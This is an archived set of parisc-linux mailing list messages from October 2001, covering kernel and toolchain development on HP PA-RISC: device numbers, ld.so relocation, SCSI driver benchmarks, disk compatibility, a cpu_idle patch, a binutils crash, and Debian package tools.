X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux tausq
Date: Sun, 21 Oct 2001 08:57:14 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011021085714.E31505@parcelfarce.linux.theplanet.co.uk>
References: <200110210249.UAA22545@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620659 28641 80.91.229.3 (22 Nov 2014 01:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 01:57:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E16A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 01:57:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15vDTu-00071r-00
	for parisc-linux@lists.parisc-linux.org; Sun, 21 Oct 2001 08:57:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110210249.UAA22545@puffin.external.hp.com>; from tausq@puffin.external.hp.com on Sat, Oct 20, 2001 at 08:49:40PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12754

On Sat, Oct 20, 2001 at 08:49:40PM -0600, Randolph Chung wrote:
> - adds support for /dev/perf (major 10, minor 146)
> supports the same ioctls and write formats as the hpux equiv
> TLB patching code is not yet done
> only enabled for 64-bit kernels

umm..

                146 = /dev/graphics     Linux/SGI graphics device

could you try getting a minor number assigned by lanana.org pleases?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fix for hppa-linux ld.so with newer binutils
Date: Sun, 21 Oct 2001 20:50:22 +0930
Lines: 29
Approved: news@gmane.org
Message-ID: <20011021205022.I1037@bubble.sa.bigpond.net.au>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020140153.A17475@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620660 28642 80.91.229.3 (22 Nov 2014 01:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:20 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 05:20:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin3.email.bigpond.com (unknown [139.134.6.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F194482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 05:20:36 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.69]) by
          mailin3.email.bigpond.com (Netscape Messaging Server 4.15) with
          SMTP id GLJZSX00.1CG for <parisc-linux@lists.parisc-linux.org>;
          Sun, 21 Oct 2001 21:26:57 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V2.9k 8311/2220732); 21 Oct 2001 21:26:53
Original-Received: (qmail 14133 invoked by uid 179); 21 Oct 2001 11:20:22 -0000
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011020140153.A17475@megatonmonkey.net>; from carlos@megatonmonkey.net on Sat, Oct 20, 2001 at 02:01:53PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12755

On Sat, Oct 20, 2001 at 02:01:53PM -0400, Carlos O'Donell Jr. wrote:
> 
> Why aren't .got entries being initialised?

The special reserved .got entries are still initialised.  The others
which have relocations don't need to be initialised as the reloc will
set the value.  It was only an accident that entries against _DYNAMIC
(_not_ the special reserved entry with the value of _DYNAMIC) were
previously being initialised.

> So you are saying we need to make all of our global symbols constant
> so that we can access them during the bootstrap? (No more _DYNMAIC?)
> 
> And that elf_machine_load_address is trying to access symbols that aren't
> setup yet, because ELF_DYNAMIC_RELOCATE() hasn't been run yet?
> And thus hasn't setup any of our offsets... where has my pic code gone ;(

As you say, the problem is solved by pic code, and that's exactly how
the new hppa version of elf_machine_dynamic works.

Note that glibc ld.so still has a problem on hppa if it ever hits any
of the asserts in dynamic-link.h:elf_get_dynamic_info, as these all try
to make reference to their string args at the unrelocated address.

Alan





From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New 53c700 driver preformance evaluation
Date: Sun, 21 Oct 2001 16:19:44 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20011021161944.G6663@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620660 28648 80.91.229.3 (22 Nov 2014 01:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:20 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	JamesBottomley@zaphod.halden.lillfab.se
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 08:20:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailb.telia.com (mailb.telia.com [194.22.194.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id E218E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 08:20:19 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by mailb.telia.com (8.11.6/8.11.6) with ESMTP id f9LEJlN12401;
	Sun, 21 Oct 2001 16:19:47 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t1o70p84.telia.com [62.20.148.84])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9LEJlf13442;
	Sun, 21 Oct 2001 16:19:47 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id QAA09825;
	Sun, 21 Oct 2001 16:19:44 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
X-Mailer: Balsa 1.1.4
Original-Lines: 35
Xref: news.gmane.org gmane.linux.ports.parisc:12756

Hi,

When I got the new driver running I also did some more bonnie runs with the
following drivers: 
2.4.9-pa32 with the old driver and disconnects disbled
2.4.9-pa61 with the new driver and tagged-queueing disabled
HPUX 10.20

I also did one test with putc and getc changed to the unlocked versions
to see what impact the thread safety had. It was large.

I wonder if the lower speed for block I/O with the new driver is due to the
disabled disconnects?

/Daniel

            --------Sequential Output-------- ---Sequential Input--- --Random--
            -Per Char- --Block--- -Rewrite--- -Per Char- --Block---- --Seeks----
Machine MB K/sec  %CPU K/sec %CPU  K/sec %CPU K/sec %CPU K/sec %CPU  /sec  %CPU
pa32_1 100   313  99.7 3682  68.9  1162  37.5  253  94.9  2545  43.7  75.5  11.9
pa32_2 100   314 100.0 3650  68.3  1175  38.0  252  94.8  2548  43.5  74.1  12.1
pa32_3 100   314 100.0 3641  67.9  1185  38.1  252  94.7  2567  43.2  71.9  12.0

pa61_1 100   314 100.0 2839  51.6   971  32.0  252  95.1  2465  42.5  72.5  11.5
pa61_2 100   313  99.7 2871  53.8   996  33.3  252  94.6  2478  43.0  63.3  10.1
pa61_3 100   313 100.0 2865  52.3   998  32.5  251  94.3  2484  43.2  69.3  11.1

pa61ul 100  1373  97.8 2941  53.7   997  32.4  993  71.1  2444  42.3  67.2  11.4

hpux_1 100   597  98.3 2882  38.4  1530  31.0  405  96.9  3644  41.9  72.8  13.4
hpux_2 100   594  98.4 2930  36.6  1526  28.5  403  96.8  3625  39.3  72.8  13.3
hpux_3 100   599  98.4 2883  37.1  1541  29.9  407  97.2  3646  41.7  72.0  13.1
 

 -- 




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Sun, 21 Oct 2001 12:19:32 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200110211619.f9LGJXge014176@hiauly1.hia.nrc.ca>
References: <200110202311.RAA22159@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620660 28653 80.91.229.3 (22 Nov 2014 01:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:20 +0000 (UTC)
Cc: Steve.Grady@csiro.au, parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 10:19:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92D31482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 10:19:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id f9LGJXoE014177;
	Sun, 21 Oct 2001 12:19:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id f9LGJXge014176;
	Sun, 21 Oct 2001 12:19:33 -0400 (EDT)
In-Reply-To: <200110202311.RAA22159@puffin.external.hp.com> from "Grant Grundler" at Oct 20, 2001 05:11:53 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:12757

> The question is will you be able to find a 9 or 18GB disk
> with either SE SCSI or HVD SCSI interface which the 735
> can connect to.

What about a Seagate ST318417N?  It is: 18.4GB, 7200 rpm, 8.5 ms seek avg,
Ultra SCSI, suggested resale price $269.  While you can still find a HVD
drive it looks like they are rapidly going the way of the dodo bird.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Sun, 21 Oct 2001 11:28:33 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <m15vMOn-000OzIC@bame.riverrock.org>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au>  <20011020232231.D31505@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620660 28657 80.91.229.3 (22 Nov 2014 01:44:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:20 +0000 (UTC)
Cc: Steve.Grady@csiro.au, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 11:28:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EBA5482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 11:28:41 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA10640;
	Sun, 21 Oct 2001 11:28:33 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15vMOn-000OzIC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 11:28:33 -0600 (MDT) 
In-Reply-To: Your message of "Sat, 20 Oct 2001 23:22:31 BST."
             <20011020232231.D31505@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12758

> The only thing to beware of is that palo can only access the first
> 2GB of the disc, so the kernel that it loads has to be in this area.
> It is possible to fix palo to work for >2GB partitions, but nobody's
> done that yet.

The firmware call which supports >2GB access may not be available
in that box -- I'm not sure when it became available.  Linux will
have no problem accessing the whole drive however.

	-P




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] small patch for cpu_idle?
Date: Sun, 21 Oct 2001 10:52:27 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20011021105227.H537@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620661 28663 80.91.229.3 (22 Nov 2014 01:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 11:52:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16EF0482A
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 11:52:39 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id tszeiaaa for parisc-linux@parisc-linux.org; Sun, 21 Oct 2001 10:47:54 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15vMlv-0000gI-00; Sun, 21 Oct 2001 10:52:27 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12759

It appears to me that our cpu_idle is not quite right... what do you
guys think about this:

Index: process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.38
diff -u -r1.38 process.c
--- process.c   2001/10/09 19:43:35     1.38
+++ process.c   2001/10/21 17:46:53
@@ -67,8 +67,8 @@
        current->counter = -100;
 
        while (1) {
-               while (!current->need_resched) {
-               }
+               while (!current->need_resched) 
+                       continue;
                schedule();
                check_pgt_cache();
        }

otherwise when cpu_idle gets called we might get stuck in an inf loop
(which happens, for example, when fsck requires manual intervention on
startup).

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen+parisc-linux@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Latest debian binutils broken?
Date: Sun, 21 Oct 2001 21:34:34 +0200 (CEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110212131060.29072-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620661 28665 80.91.229.3 (22 Nov 2014 01:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:21 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 13:36:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3683F482A
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 13:36:23 -0600 (MDT)
Original-Received: from ppp16.scram.de (ppp16.scram.de [195.226.127.209])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f9LJaKC03282
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 21:36:20 +0200 (CEST)
X-X-Sender: <jochen@alpha.bocc.de>
Xref: news.gmane.org gmane.linux.ports.parisc:12760

Hi,

with the latest debian binutils, as immediately crashes on my 720:

hp720:~# uname -a
Linux hp720.bocc.de 2.4.9-pa59 #1 Wed Oct 17 21:38:10 CEST 2001 parisc unknown
hp720:~# dpkg -l binutils
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  binutils       2.11.92.0.7-2  The GNU assembler, linker and binary utiliti
hp720:~# as
Segmentation fault

do_page_fault() pid=370 command='as' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000100001111
r0-3     00000000 00067d80 40093323 bff003c0
r4-7     400b1b98 4002a09c 40028a64 bff00164
r8-11    bff0015c 00000001 00000001 000c49f0
r12-15   00000000 ffffffff 000c4dd0 00000000
r16-19   00000000 00000004 00000004 400b1b98
r20-23   00000000 40032ce0 00000000 400288f8
r24-27   bff00164 bff0015c 00000001 0005fbe4
r28-31   40029ca2 7efefeff bff00440 40093323
sr0-3    00000000 00000005 00000000 00000005
sr4-7    00000005 00000005 00000005 00000005

IASQ: 00000005 00000005 IAOQ: 00000003 00000007
 IIR: 2022e202    ISR: 00000005  IOR: 00067d7c
 CPU:        0   CR30: 105f0000 CR31: 102f0000
 ORIG_R28: 4002a09c

Looks like a classical NULL-pointer to me...

Cheers,
Jochen





From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] small patch for cpu_idle?
Date: Sun, 21 Oct 2001 21:21:18 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20011021212118.G31505@parcelfarce.linux.theplanet.co.uk>
References: <20011021105227.H537@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620661 28668 80.91.229.3 (22 Nov 2014 01:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 14:21:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E209F482A
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 14:21:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15vP5z-0006Qk-00; Sun, 21 Oct 2001 21:21:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011021105227.H537@tausq.org>; from randolph@tausq.org on Sun, Oct 21, 2001 at 10:52:27AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12761

On Sun, Oct 21, 2001 at 10:52:27AM -0700, Randolph Chung wrote:
> It appears to me that our cpu_idle is not quite right... what do you
> guys think about this:
>         while (1) {
> -               while (!current->need_resched) {
> -               }
> +               while (!current->need_resched) 
> +                       continue;
>                 schedule();
>                 check_pgt_cache();
>         }
> 
> otherwise when cpu_idle gets called we might get stuck in an inf loop
> (which happens, for example, when fsck requires manual intervention on
> startup).

I don't see any difference between

while (foo) { }

and

while (foo) continue;

need_resched is volatile:
        volatile long need_resched;

so I don't see that your change should have any effect.  Does it actually
generate different code?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] I/O Tree patch ... CVS Head will be unstable for the next few days.
Date: Sun, 21 Oct 2001 15:54:03 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20011021155403.A2435@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620662 28672 80.91.229.3 (22 Nov 2014 01:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 15:54:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5985482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 15:54:40 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 197B7BCE8; Sun, 21 Oct 2001 15:54:04 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12762

Hello parisc-linux hackers,

The general consensus between the developers is to commit the I/O
tree patch, and fix what is broken.  So I am going to commit the
patch to CVS and start working on bug reports, etc.  

Right now we are pretty sure PAT boxes are broken ... but Grant
has given me access to an A500 to work on so I can fix PAT boxes
to use iotree. 

If you are interested in kernel stability, do not run CVS head
for a couple of days.  I will probably send out another message
once we feel the kernel has stabalized.

Thanks,

- Ryan

P.S. I will start committing the iotree patch in an hour or
so giving anyone a (short) chance to get the latest CVS head
before I commit the patch.




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Sun, 21 Oct 2001 16:27:21 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20011021222721.6658837D25@carmen.fc.hp.com>
References: <200110211619.f9LGJXge014176@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620662 28675 80.91.229.3 (22 Nov 2014 01:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 16:27:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEF70482A
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 16:27:22 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 0703E598; Sun, 21 Oct 2001 18:27:22 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 6658837D25; Sun, 21 Oct 2001 16:27:21 -0600 (MDT)
In-Reply-To: Your message of "Sun, 21 Oct 2001 12:19:32 EDT."
             <200110211619.f9LGJXge014176@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:12763

"John David Anglin" writes...

> > The question is will you be able to find a 9 or 18GB disk
> > with either SE SCSI or HVD SCSI interface which the 735
> > can connect to.
> 
> What about a Seagate ST318417N?  It is: 18.4GB, 7200 rpm, 8.5 ms seek avg,
> Ultra SCSI, suggested resale price $269.  While you can still find a HVD
> drive it looks like they are rapidly going the way of the dodo bird.

I think that should work.

Last year sometime I saw Paul Bame install an 18GB 10k RPM LVD Seagate
Cheetah drive in a 712 and install parisc-linux on it. It worked great :)

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <engine2@flow.mine.nu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Sun, 21 Oct 2001 18:48:28 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <5.0.2.1.0.20011021183252.00a6ca90@pop3.sprint.ca>
References: <20011020222042.G537@tausq.org>
 <01102021292604.00166@nick>
 <20011020222042.G537@tausq.org> <01102022501505.00166@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620662 28678 80.91.229.3 (22 Nov 2014 01:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 16:48:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 24.42.71.102 (cr592112-a.etob1.on.wave.home.com [24.42.71.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABFCF482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 16:48:37 -0600 (MDT)
Original-Received: from flow4.flow.mine.nu (flow4.flow.north.net [198.52.32.250])
	by 24.42.71.102 (8.9.3/8.9.3) with ESMTP id SAA05582
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 18:48:29 -0400
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
In-Reply-To: <01102022501505.00166@nick>
Original-References: <20011020222042.G537@tausq.org>
 <01102021292604.00166@nick>
 <20011020222042.G537@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12764

I am _not_ going to quote anybody, because then it might be assumed I am 
disputing _somebody's_ point of view, instead of a _particular_ one. So 
here goes.

Think of a word "processor". In a community of computer-relating people 
this word will have an assumed specific meaning of a "central processing 
unit". In a community of food-relating people it may mean "food processor". 
In a community of paperwork-relating people it may mean a "application 
processor", ie: person that processes applications. The point is, all 
communities have their own meanings for words or expressions, and a whole 
set of assumptions that go with them. It's not wrong or right. Just different.

Debian model was chosen for PA linux. dpkg/dselect and friends go with this 
choice. It may be unfamiliar to some, but it is just _different_. When You 
switch over from HPUX to AIX, You have no sam to help You, You have 
smit/ty. It's different. You need to get to know the new guy. He's not here 
